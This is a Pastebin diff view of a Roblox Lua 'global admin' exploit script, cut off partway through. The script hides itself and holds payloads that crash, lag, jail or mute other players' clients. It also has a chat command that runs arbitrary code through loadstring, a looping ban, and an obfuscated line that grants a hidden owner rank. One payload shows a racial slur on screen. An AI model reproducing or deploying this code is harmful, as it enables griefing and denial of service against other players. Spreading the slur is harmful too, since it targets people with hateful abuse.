View difference between Paste ID: fTjVC9Cc and gCEp1xWE
SHOW: | | - or go back to the newest paste.
1
--((Rare[Main{GLOBAL}Kaj Admin Generation 8
2
--[[
3
Kaj Admin Generation 8
4
Lol global admin
5
]]
6
7
8
9
10
11
12
13
14
15
16
17
18
if script then
19
    coroutine.yield()
20
    script.Parent = nil
21
end
22
--[[Stuff]]--
23
VR = _VERSION
24
Plrs = game:GetService("Players")
25
Work = game:GetService("Workspace")
26
Light = game:GetService("Lighting")
27
Net = game:GetService("NetworkServer")
28
Removed = false
29
Bet = "/"
30
LS = nil
31
LSSource = nil
32
OwnSource = nil
33
FoundLocalScript = false
34
LogOn = false
35
Current = game
36
Clipboard = {}
37
AlertColor = Color3.new(1, 0, 0)
38
OptionColor = Color3.new(1, 1, 1)
39
ImportantColor = Color3.new(1, 0, 1)
40
--[[Ranks]]--
41
RankDetails = {
42
        [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
43
        [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
44
        [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
45
        [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
46
        [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
47
        [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
48
        [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
49
        [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator)"},
50
        [5] = {Name = "Maximum Adminstrator", Color = Color3.new(-1, -1, -1), Desc = "Maximum Adminstrator"},
51
        
52
}
53
54
Rankings = {
55
        {Name = "Ethancomputermad", Rank = 3},
56
        {Name = "ZexorAdmin", Rank = 1},
57
        {Name = "DecimatorOfCreations", Rank = 3},
58
        {Name = "ValkazarAdmin", Rank = 2},
59
        {Name = "MoistAdmin", Rank = 2},
60
        {Name = "Stypi", Rank = 1},
61
        {Name = "Titanpad", Rank = 2},
62
        {Name = "ImAmYourSon", Rank = -1},
63
        {Name = "ERRORscript", Rank = -1},
64
        {Name = "iKrypto", Rank = -1},
65
        {Name = "MessorAdmin", Rank = 1},
66
        {Name = "kayaven", Rank = 1},
67
        {Name = "iLordVex", Rank = 2},
68
        {Name = "xandon", Rank = 3},
69
        {Name = "nolanhawz1", Rank = -1},
70
        {Name = "Djblakey", Rank = -1},
71
        {Name = "Supah", Rank = -1},
72
        {Name = "cand1164", Rank = 6},
73-
        {Name = "KaleyFranzwa", Rank = 6},
73+
        {Name = "TheOfficalNoob4788", Rank = 6},
74
        {Name = "bellaouzo", Rank = 6},
75
        {Name = "FranzwaAdmin", Rank = 6},
76
        {Name = "Slurrrp", Rank = -1},
77
        {Name = "Particle", Rank = -1},
78
        {Name = "hyperionGM", Rank = 3},
79
        {Name = "optiplex123", Rank = 3},
80
        {Name = "aleksa12432", Rank = 3},
81
        {Name = "YoungWarlock", Rank = 5},
82
        {Name = "luxulux", Rank = 3},
83
        {Name = "OMGshadeslayer", Rank = 2},
84
        {Name = "moderrncombat", Rank = 6},
85
        {Name = "bloxking3", Rank = 2},
86
        {Name = "xxCONTENTDELETERxx", Rank = -2},
87
        {Name = "joemom33", Rank = 2},
88
        {Name = "1waffle1", Rank = 1},
89
        {Name = "Abscissa", Rank = 2},
90
        {Name = "Ultimatekiller010", Rank = 2},
91
        {Name = "DrBackstab", Rank = 2},
92
        {Name = "LuaModelMaker", Rank = 2},
93
        {Name = "MakerModelLua", Rank = 2},
94
        {Name = "MrMrLua", Rank = 2},
95
        {Name = "MountainSnow", Rank = 2},
96
        {Name = "madiik", Rank = 2},
97
        {Name = "dogwarrior24", Rank = 2},
98
        {Name = "ThePC8110", Rank = 2},
99
        {Name = "DEADDEVIL1919", Rank = 2},
100
        {Name = "toshir0z", Rank = 2},
101
        {Name = "Tippee", Rank = 2},
102
        {Name = "Trcker", Rank = 3},
103
        {Name = "nairod7", Rank = 2},
104
        {Name = "12packkid", Rank = 2},
105
        {Name = "TigreBlood", Rank = 2},
106
        {Name = "Frostftw", Rank = -1},
107
        {Name = "DoogleFox", Rank = 2},
108
        {Name = "Aetheus", Rank = 3},
109
        {Name = "Ri1es", Rank = 2},
110
        {Name = "hrocks1", Rank = 2},
111
        {Name = "Zinsei", Rank = 1},
112
        {Name = "KaleyAdmin", Rank = 2},
113
        {Name = "tusKOr661", Rank = 2},
114
        {Name = "Unicornhax", Rank = 1},
115
        {Name = "iMayor", Rank = 1},
116
        {Name = "iMyLittlePony", Rank = 1},
117
        {Name = "xXxkarlxXx", Rank = 1},
118
        {Name = "LightningRoMan", Rank = 1},
119
        {Name = "Builderman3464", Rank = 6},
120
        {Name = "serun15", Rank = 2},
121
        {Name = "AtlasGrim", Rank = 1},
122
        {Name = "noliCAIKS", Rank = 4},
123
        {Name = "Oxcool1", Rank = 1},
124
        {Name = "V3rmilli0n", Rank = 1},
125
        {Name = "v3mil10n", Rank = -1},
126
        {Name = "jarredbcv", Rank = 2},
127
        {Name = "G1anl0rd", Rank = 2},
128
        {Name = "gostar1234567890", Rank = 1},
129
        {Name = "saintsrowrulzz", Rank = 2},
130
        {Name = "TeamDman", Rank = 4},
131
        {Name = "ROBLOX", Rank = 2},
132
        {Name = "StickMasterLuke", Rank = 3},
133
        {Name = "builderman", Rank = 1},
134
        {Name = "hatting", Rank = 1},
135
        {Name = "Cobalt", Rank = 3},
136
        {Name = "Seranok", Rank = 2},
137
        {Name = "SternKind", Rank = 2},
138
        {Name = "MrNil", Rank = 2},
139
        {Name = "KotixPL", Rank = 1},
140
        {Name = "8BitNils", Rank = 1},
141
        {Name = "FANTASTIC5001", Rank = 2},
142
        {Name = "FANTASTlC5001", Rank = 6},
143
        {Name = "moded", Rank = 2},
144
        {Name = "NilScripter", Rank = 1},
145
        {Name = "NilScripterALT", Rank = -1},
146
        {Name = "Z7M", Rank = 2},
147
        {Name = "InstallingData", Rank = 1},
148
        {Name = "SeverGuardianAdmin", Rank = -1},
149
        {Name = "ServerGuardianAdmin", Rank = -1},
150
        {Name = "fiddlesticks", Rank = 1},
151
        {Name = "Daniel k", Rank = 3},
152
        {Name = "TraNinjaGuy", Rank = 1},
153
        {Name = "DrMigos", Rank = 1},
154
        
155
        
156
        
157
}
158
159
160
--[[End of Ranks]]--
161
ImportantServices = {
162
        "Workspace",
163
        "Players",
164
        "NetworkServer",
165
        "Lighting",
166
        "StarterGui",
167
        "Teams",
168
        "StarterPack",
169
}
170
171
Ranks = {}
172
Commands = {}
173
AllTabs = {}
174
Injected = {}
175
176
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
177
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
178
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
179
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
180
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
181
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
182
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
183
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
184
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
185
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
186
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
187
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
188
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
189
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
190
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
191
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
192
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
193
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
194
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
195
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
196
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
197
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
198
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
199
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
200
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
201
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
202
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
203
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
204
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
205
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
206
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
207
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
208
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
209
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
210
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
211
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
212
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
213
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
214
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
215
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
216
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
217
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
218
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
219
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
220
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
221
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
222
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
223
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
224
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
225
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
226
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
227
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
228
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
229
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
230
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
231
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
232
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
233
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
234
"X","Y"}
235
236
--Main Functions And Sources
237
238
function Insert(Source, Par, Par2, Par3)
239
        ypcall(function()
240
                local Inserted = LS:Clone()
241
                Inserted.Disabled = true
242
                Inserted.Parent = Par or Par2 or Par3
243
                Inserted[LSSource].Value = Source
244
                Inserted.Disabled = false
245
        end)
246
end
247
248
function CheckImportant(Name)
249
        for _,v in pairs(ImportantServices) do
250
                if v:lower() == Name:lower() then
251
                        return true
252
                end
253
        end
254
        return false
255
end
256
257
function Crash1(Plr)
258
        ypcall(function()
259
                Plr:Kick()
260
        end)
261
end
262
263
function GetRankTab()
264
        return Rankings
265
end
266
267
function Crash2(Name)
268
        local Crasher = Instance.new("StringValue")
269
        Crasher.Name = "Client"
270
        Crasher.Value = string.lower(tostring(Name))
271
        Crasher.Parent = game:GetService("Lighting")
272
        wait(1)
273
        if Crasher and Crasher.Parent then
274
                ypcall(function()
275
                        Crasher:Destroy()
276
                end)
277
        end
278
end
279
280
function Crash3(v, Speaker)
281
        Speaker.Character.Archivable = true
282
        local NChar = Speaker.Character:Clone()
283
        NChar.Name = v.Name
284
        NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
285
        NChar.Parent = Workspace
286
        v.Character = NChar
287
        coroutine.resume(coroutine.create(function()
288
                repeat v.Character = NChar
289
                wait(1/3) until false
290
        end))
291
        wait(.5)
292
        Insert(InsertCrash, NChar, nil, nil)
293
end
294
295
function GenerateDigit()
296
        return 1 + 5
297
end
298
299
300
NilS = [==[
301
if script then
302
    coroutine.yield()
303
    script.Parent = nil
304
end
305
Player=game.Players.LocalPlayer
306
Probe=Instance.new'Part';
307
CN='Kaj TabletsNil | ['..Player.Name..']'
308
Camera=Workspace.CurrentCamera
309
Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
310
Char = Player.Character
311
if Char then
312
        Char.Archivable = true
313
        Char = Char:clone()
314
        local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
315
        if t then
316
                for k,v in pairs(Char:GetChildren()) do
317
                        if not v:IsA("Part") then
318
                                v:clone().Parent = t
319
                        end
320
                end
321
                Char = t:clone()
322
                if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
323
        local spot = Instance.new("SpotLight",Char.Head)
324
        spot.Angle = 10
325
        spot.Range = 10
326
        spot.Color = Color3.new(1,1,1)
327
        spot.Brightness = 10
328
        local point = Instance.new("PointLight",Char.Head)
329
        point.Range = 10
330
        point.Color = Color3.new(1,1,1)
331
        point.Brightness = 10
332
        end
333
        end
334
end
335
336
coroutine.resume(coroutine.create(function()
337
        while true do wait(0.00000001)
338
                pcall(function()
339
                        if Character.Torso.CFrame.Y < 1 then
340
                        Character.Torso.CFrame = CFrame.new(0,20,0)
341
                        end
342
                 end)
343
        end
344
end))
345
Title=function(txt,part,color,rise)
346
        col=nil
347
        col=Color3.new(BrickColor.new(color))
348
        local Gui = Instance.new("BillboardGui",part)
349
        Gui.Name = "3DGUI"
350
        Gui.ExtentsOffset = Vector3.new(0,2,0)
351
        Gui.Size = UDim2.new(8,0,2,0)
352
        local Tit = Instance.new("TextLabel",Gui)
353
        Tit.Name = "Title"
354
        Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
355
        Tit.TextColor3 = Color3.new(0,0,0)
356
        Tit.TextTransparency = 0.25
357
        Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
358
        Tit.TextStrokeTransparency = 0.5
359
        Tit.Size = UDim2.new(1,0,1,0)
360
        Tit.BackgroundTransparency = 1
361
        Tit.Font = "ArialBold"
362
        Tit.TextScaled = true
363
        Tit.Text = txt
364
        if rise then
365
                if not tonumber(rise) then rise = 1 end
366
                coroutine.wrap(function()
367
                        while Tit.Parent and Gui.Parent and wait() do
368
                                Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
369
                        end
370
                end)()
371
        end
372
        return Tit
373
end
374
Chat=function(Part,Text,Color,Type)
375
        if Type==nil or Type==1 or Type=='Bubble' then
376
                game:service'Chat':Chat(Part,Text,Color)
377
        else
378
                if type(Color)~='string' then        
379
                        Color=tostring(BrickColor.random())
380
                end
381
                Title(Text,Part,Color,math.random(1,3))
382
        end
383
end
384
DestroyCharacter=function()
385
        local chara = Player.Character
386
        if not chara then return end
387
        if chara:findFirstChild("Humanoid") then
388
                chara.Humanoid:Destroy()
389
        end
390
        chara:BreakJoints()
391
        for k,v in pairs(chara:GetChildren()) do
392
                if v:IsA("BasePart") then
393
                        v.CanCollide = false
394
                        v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
395
                        v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
396
                end
397
        end
398
        game.Debris:AddItem(chara,3)
399
end
400
MakeProbe=function()
401
        if Player.Character then DestroyCharacter() end Player.Character = nil
402
        if Probe then Probe:Destroy() end
403
        Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
404
        Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
405
        Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
406
        Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
407
        coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
408
        Player.Character=Probe
409
end
410
Spawn=function()
411
        if Char then
412
                local c = Char:clone()
413
                c.Name = CN
414
                c.Parent = workspace
415
                c:MoveTo(workspace.CurrentCamera.Focus.p)
416
                Player.Character = c
417
                workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
418
                workspace.CurrentCamera.CameraType = "Custom"
419
                Probe:Destroy()
420
        end
421
end
422
Player.Chatted:connect(function(Msg)
423
game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
424
        if Msg:sub(1,2) == '//' then
425
                local Func,Error=loadstring(Msg:sub(3))
426
                if Error==nil then
427
                        pcall(Func)
428
                        if Player.Character then
429
                                game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
430
                        end
431
                else
432
                        if Player.Character then
433
                                game:service'Chat':Chat(Player.Character.Head,Error,'Red')
434
                        else
435
                                local Msg=Instance.new'Message'
436
                                Msg.Parent=Workspace.CurrentCamera
437
                                Msg.Text=Error
438
                                game:service'Debris':AddItem(Msg,5)
439
                        end
440
                end
441
        elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
442
                NewMsg=Msg:sub(#('newlocal')+3)
443
                Split=NewMsg:find('/')
444
                local PlayerName=NewMsg:sub(1,Split-1)
445
                local Source=NewMsg:sub(Split+1)
446
                Player=nil
447
                for i,v in pairs(game.Players:GetPlayers()) do
448
                        if v.Name:lower():sub(1,#PlayerName)==PlayerName then
449
                                if Player==nil then
450
                                        Player=v
451
                                else
452
                                        if type(Player) == 'table' then
453
                                                Player[#Player+1]=v
454
                                        else
455
                                                Player={v}
456
                                        end
457
                                end
458
                        end
459
                end
460
                if type(Player)=='table' then
461
                        for i,v in pairs(Player) do        
462
                                if newLocalScript then
463
                                        newLocalScript(Source,v.Character)
464
                                else
465
                                        Clone=script:clone();
466
                                        SourceC=Clone:children()[1]
467
                                        if SourceC:IsA'StringValue' then
468
                                                print'String'
469
                                        else
470
                                                SourceC=Clone:children()[2]
471
                                        end
472
                                        SourceC.Value=Source
473
                                        Clone.Disabled=true
474
                                        Clone.Parent=v.Character
475
                                        Clone.Disabled=false
476
                                end
477
                        end
478
                else
479
                        if newLocalScript then
480
                                newLocalScript(Source,Player.Character)
481
                        else
482
                                Clone=script:clone();
483
                                DS=Clone:children()
484
                                DSS=nil
485
                                for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
486
                                DSS.Value=Source
487
                                Clone.Disabled=true;
488
                                Clone.Parent=Player.Character
489
                                Clone.Disabled=false
490
                        end
491
                end
492
        elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
493
                game:service'TeleportService':Teleport(Game.PlaceId)
494
        elseif Msg:sub(1,#('probe')+2) == '/probe/' then
495
                MakeProbe()
496
        elseif Msg:sub(1,#('char')+2) =='/char/' then
497
                Spawn()
498
        elseif Msg:sub(1,#('ban')+2) == '/ban/' then
499
                Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
500
                if Player then
501
                        repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3 
502
                end
503
        end
504
        wait()
505
        if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
506
                if Probe then
507
                        Chat(Probe,Msg,math.random(0,2))
508
                else        
509
                        if Player.Character==nil then
510
                                if Char then
511
                                        Chat(Char.Head,Msg,math.random(0,2))
512
                                end
513
                        else
514
                                Chat(Player.Character.Head,Msg,'Red')
515
                        end
516
                end
517
        end
518
end) -- local
519
]==]
520
521
InjectionCrash = [=[
522
        wait(0)
523
        script.Parent = nil
524
        local Lig = game:GetService("Lighting")
525
        local LP = game:GetService("Players").LocalPlayer
526
        local LowerName = LP.Name:lower()
527
528
        Lig.ChildAdded:connect(function(Obj)
529
                if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
530
                        pcall(function()
531
                                Obj:Destroy()
532
                        end)
533
                        LP.Parent = nil
534
                        LP.Parent = game:GetService("Players")
535
                end
536
        end)
537
]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
538
539
InsertCrash = [==[
540
        local LP = game:GetService("Players").LocalPlayer
541
        LP.Parent = nil
542
        LP.Parent = game:GetService("Players")
543
]==]
544
545
LagSource = [==[
546
        wait(0)
547
        script.Parent = nil
548
        plr = game:GetService("Players").LocalPlayer
549
        local plrgui = plr:findFirstChild("PlayerGui")
550
        if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
551
        while plr.Parent == game:GetService("Players") do
552
        wait()
553
        for i = 1, 1000 do
554
        local sc = Instance.new("ScreenGui",plrgui)
555
        local fr = Instance.new("TextLabel",sc)
556
        fr.Text = "LAGGING"
557
        fr.Size = UDim2.new(1, 0, 1, 0)
558
        fr.FontSize = "Size48"
559
        end
560
        end
561
]==]
562
563
MuteSource = [==[
564
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
565
]==]
566
567
UnMuteSource = [==[
568
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
569
]==]
570
571
FunScript = [[
572
LP = game:service'Players'.LocalPlayer
573
Shapes = {"Ball", "Block"}
574
wait()
575
script.Parent = nil
576
Delay(0, function()
577
while wait() do
578
workspace.CurrentCamera.CameraType = "Scriptable"
579
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
580
workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
581
workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
582
local Part = Instance.new("Part", workspace.CurrentCamera)
583
Part.Shape = Shapes[math.random(1, 2)]
584
Part.Anchored = true
585
Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
586
Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
587
Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
588
local Smoke = Instance.new("Smoke", Part)
589
Smoke.Color = Color3.new(math.random(), math.random(), math.random()) 
590
Smoke.Opacity = 0.7 
591
local Sparkles = Instance.new("Sparkles", Part)
592
Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random()) 
593
local Fire = Instance.new("Fire", Part)
594
Fire.Color = Color3.new(math.random(), math.random(), math.random()) 
595
Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random()) 
596
local Ex = Instance.new("Explosion", workspace.CurrentCamera)
597
Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
598
Ex.BlastPressure = 15
599
Ex.BlastRadius = 12.5
600
if not workspace.CurrentCamera:findFirstChild("Hint") then
601
local mes = Instance.new("Hint", workspace.CurrentCamera)
602
mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
603
end
604
end
605
end)
606
]]
607
608
JailSource = [==[
609
        wait(0)
610
        script.Parent = nil
611
612
        local LP = game:GetService("Players").LocalPlayer
613
        Middle2 = nil
614
        Middle = nil
615
        game:GetService("Workspace").CurrentCamera:ClearAllChildren()
616
617
        Cons = {}
618
619
        function makePrison()
620
                for _,v in pairs(Cons) do
621
                        v:disconnect()
622
                end
623
                game:GetService("Workspace").CurrentCamera:ClearAllChildren()
624
                if Middle == nil then
625
                        Middle2 = LP.Character.Torso.Position
626
                        Middle = LP.Character.Torso.CFrame
627
                end
628
                local side1 = Instance.new("Part")
629
                side1.Name = "¬Focus1¬"
630
                side1.Size = Vector3.new(20, 50, 1)
631
                side1.CFrame = Middle * CFrame.new(0, 0, -10)
632
                side1.BrickColor = BrickColor.new("Really black")
633
                side1.CanCollide = true
634
                side1.Anchored = true
635
                side1.TopSurface = "Smooth"
636
                side1.BottomSurface = "Smooth"
637
                side1.Parent = game:GetService("Workspace").CurrentCamera
638
639
                local side2 = Instance.new("Part")
640
                side2.Name = "¬Focus2¬"
641
                side2.Size = Vector3.new(20, 50, 1)
642
                side2.CFrame = Middle * CFrame.new(0, 0, 10)
643
                side2.BrickColor = BrickColor.new("Really black")
644
                side2.CanCollide = true
645
                side2.Anchored = true
646
                side2.TopSurface = "Smooth"
647
                side2.BottomSurface = "Smooth"
648
                side2.Parent = game:GetService("Workspace").CurrentCamera
649
650
                local side3 = Instance.new("Part")
651
                side3.Name = "¬Focus3¬"
652
                side3.Size = Vector3.new(1, 50, 20)
653
                side3.CFrame = Middle * CFrame.new(10, 0, 0)
654
                side3.BrickColor = BrickColor.new("Really black")
655
                side3.CanCollide = true
656
                side3.Anchored = true
657
                side3.TopSurface = "Smooth"
658
                side3.BottomSurface = "Smooth"
659
                side3.Parent = game:GetService("Workspace").CurrentCamera
660
661
                local side4 = Instance.new("Part")
662
                side4.Name = "¬Focus4¬"
663
                side4.Size = Vector3.new(1, 50, 20)
664
                side4.CFrame = Middle * CFrame.new(-10, 0, 0)
665
                side4.BrickColor = BrickColor.new("Really black")
666
                side4.CanCollide = true
667
                side4.Anchored = true
668
                side4.TopSurface = "Smooth"
669
                side4.BottomSurface = "Smooth"
670
                side4.Parent = game:GetService("Workspace").CurrentCamera
671
                
672
                local side5 = Instance.new("Part")
673
                side5.Name = "¬Focus5¬"
674
                side5.Size = Vector3.new(20, 1, 20)
675
                side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
676
                side5.BrickColor = BrickColor.new("Really black")
677
                side5.CanCollide = true
678
                side5.Anchored = true
679
                side5.TopSurface = "Smooth"
680
                side5.BottomSurface = "Smooth"
681
                side5.Parent = game:GetService("Workspace").CurrentCamera
682
                
683
                wait(0)
684
685
                table.insert(Cons, side1.Changed:connect(makePrison))
686
                table.insert(Cons, side2.Changed:connect(makePrison))
687
                table.insert(Cons, side3.Changed:connect(makePrison))
688
                table.insert(Cons, side4.Changed:connect(makePrison))
689
                table.insert(Cons, side5.Changed:connect(makePrison))
690
        end
691
692
        Delay(0, function()
693
                while wait(0) do
694
                        ypcall(function()
695
                                if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
696
                                        LP.Character:BreakJoints()
697
                                elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
698
                                        makePrison()
699
                                end
700
                        end)
701
                        ypcall(function()
702
                                if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
703
                                        LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
704
                                end
705
                        end)
706
                end
707
        end)
708
]==]
709
710
function All()
711
        local AllPlayers = {}
712
        for _,v in pairs(Plrs:GetPlayers()) do
713
                ypcall(function()
714
                        table.insert(AllPlayers, v)
715
                end)
716
        end
717
        return AllPlayers
718
end
719
720
function All2()
721
        local AllPlayers2 = {}
722
        for i,v in pairs(Net:GetChildren()) do
723
                ypcall(function()
724
                        if v:IsA("ServerReplicator") then
725
                                table.insert(AllPlayers2, v:GetPlayer())
726
                        end
727
                end)
728
        end
729
        return AllPlayers2
730
end
731
732
function MakeNum()
733
        return 2 + 4
734
end
735
736
function ChangeRank(Plr, NewRank)
737
        local PlrName = nil
738
        local FoundPlayer = false
739
        ypcall(function()
740
                if type(Plr) == "string" then
741
                        ypcall(function()
742
                                for i,v in pairs(Rankings) do
743
